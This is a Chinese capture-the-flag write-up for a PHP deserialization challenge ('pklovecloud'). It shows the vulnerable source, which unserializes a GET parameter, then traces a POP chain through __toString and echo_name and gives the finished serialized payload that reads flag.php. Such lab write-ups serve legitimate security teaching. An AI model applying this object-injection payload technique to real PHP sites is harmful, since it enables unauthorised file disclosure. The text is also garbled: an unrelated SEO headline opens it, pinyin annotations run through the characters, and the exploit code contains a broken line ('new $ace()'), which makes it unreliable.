網(wǎng)站關(guān)鍵詞詞庫(kù)怎么做谷歌seo關(guān)鍵詞排名優(yōu)化
1.靶場(chǎng)環(huán)境
ctfhub-技能樹-pklovecloud
引用題目:
2021-第五空間智能安全大賽-Web-pklovecloud
2.過(guò)程
2.1源代碼
啟動(dòng)靶場(chǎng)環(huán)境,訪問(wèn)靶場(chǎng)環(huán)境,顯示源碼:直接貼在下面:
<?php
include 'flag.php';
class pkshow
{ function echo_name() { return "Pk very safe^.^"; }
} class acp
{ protected $cinder; public $neutron;public $nova;function __construct() { $this->cinder = new pkshow;} function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); }
} class ace
{ public $filename; public $openstack;public $docker; function echo_name() { $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } }}
} if (isset($_GET['pks']))
{$logData = unserialize($_GET['pks']);echo $logData;
}
else
{ highlight_file(__file__);
}
?>
2.2代碼審計(jì)思路
進(jìn)行一下代碼審計(jì),記錄一下思路:
1.直接看主函數(shù):
if (isset($_GET['pks']))
{$logData = unserialize($_GET['pks']);echo $logData;
}
else
{ highlight_file(__file__);
}
?要進(jìn)入if語(yǔ)句中,就必須傳入一個(gè)get參數(shù)pks,然后對(duì)pks參數(shù)進(jìn)行反序列化,獲得logData對(duì)象,并且輸出這個(gè)logData對(duì)象。
2.echo在輸出一個(gè)對(duì)象時(shí),是去調(diào)用這個(gè)對(duì)象的__toString()方法,因此我們跟蹤到logData的__toString()方法:我們發(fā)現(xiàn)聲明的acp對(duì)象有__toString()方法:
class acp
{ protected $cinder; public $neutron;public $nova;function __construct() { $this->cinder = new pkshow;} function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); }
}
3.這就說(shuō)明在主函數(shù)中要echo一個(gè)logData對(duì)象,我們只需要讓這個(gè)logData對(duì)象是acp類即可,因此我們構(gòu)造pop鏈時(shí)首先創(chuàng)建一個(gè)acp對(duì)象。
4.我們觀察到acp對(duì)象的__toString()方法中的if語(yǔ)句,要進(jìn)入到這個(gè)if語(yǔ)句,就需要acp對(duì)象的cinder參數(shù)不為空,并且最終會(huì)return這個(gè)acp對(duì)象的cinder屬性的echo_name()方法。
5.通過(guò)上面我們構(gòu)造一個(gè)pop鏈:
acp->cinder->echo_name()
6.我們發(fā)現(xiàn)聲明的pkshow和ace對(duì)象都有echo_name()方法,而很明顯pkshow的echo_name()方法是寫死的沒(méi)有參數(shù)傳入的,因此我們需要使用ace對(duì)象。所以根據(jù)上面的調(diào)用鏈,我們需要讓acp對(duì)象的cinder參數(shù)為ace對(duì)象。
綜合以上幾點(diǎn),我們需要構(gòu)造pop鏈:
$acp=new acp();
$ace=new $ace();
$acp->cinder=$ace;
7.通過(guò)以上pop鏈,已經(jīng)可以調(diào)用到ace對(duì)象的echo_name()方法了,我們?nèi)タ催@個(gè)方法的執(zhí)行邏輯:
class ace
{ public $filename; public $openstack;public $docker; function echo_name() { $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } }}
}
發(fā)現(xiàn)最終的結(jié)果是返回$file指向文件的內(nèi)容,因此我們?cè)O(shè)置$file="flag.php",而我們要進(jìn)入if循環(huán),就需要滿足$this->openstack->neutron === $this->openstack->nova,也就是ace對(duì)象的openstack參數(shù)的neutron屬性和nova屬性相等,我們發(fā)現(xiàn)acp對(duì)象有這兩個(gè)屬性,因此我們要讓ace對(duì)象的openstack屬性為acp對(duì)象:需要新建一個(gè)acp對(duì)象。
$this->openstack = unserialize($this->docker);
根據(jù)這行代碼我們判斷openstack參數(shù)是由docker參數(shù)反序列化得到的,因此ace對(duì)象的docker參數(shù)就是acp對(duì)象。下一行代碼:
$this->openstack->neutron = $heat;
這行代碼中heat參數(shù)并不存在,因此neutron的值為null,我們需要讓nova參數(shù)的值也為null,因此我們?cè)诼暶鱝cp對(duì)象的時(shí)候,不需要給nova賦值,結(jié)合上述構(gòu)造pop鏈:
class acp
{ public $cinder; public $neutron;public $nova;
}
class ace
{ public $filename; public $openstack;public $docker;
}
$acp=new acp();$acp2=new acp();$ace=new $ace();
$ace->filename="flag.php";
$ace->docker=serialize($acp2);$acp->cinder=$ace;
echo serialize($acp);
這樣最后輸出的值就是我們構(gòu)造的惡意參數(shù):
得到pop鏈:
O:3:"acp":3:{s:6:"cinder";O:3:"ace":3:{s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:58:"O:3:"acp":3:{s:6:"cinder";N;s:7:"neutron";N;s:4:"nova";N;}";}s:7:"neutron";N;s:4:"nova";N;}
訪問(wèn)index.php構(gòu)造惡意參數(shù)pks,F12查看源碼獲得flag: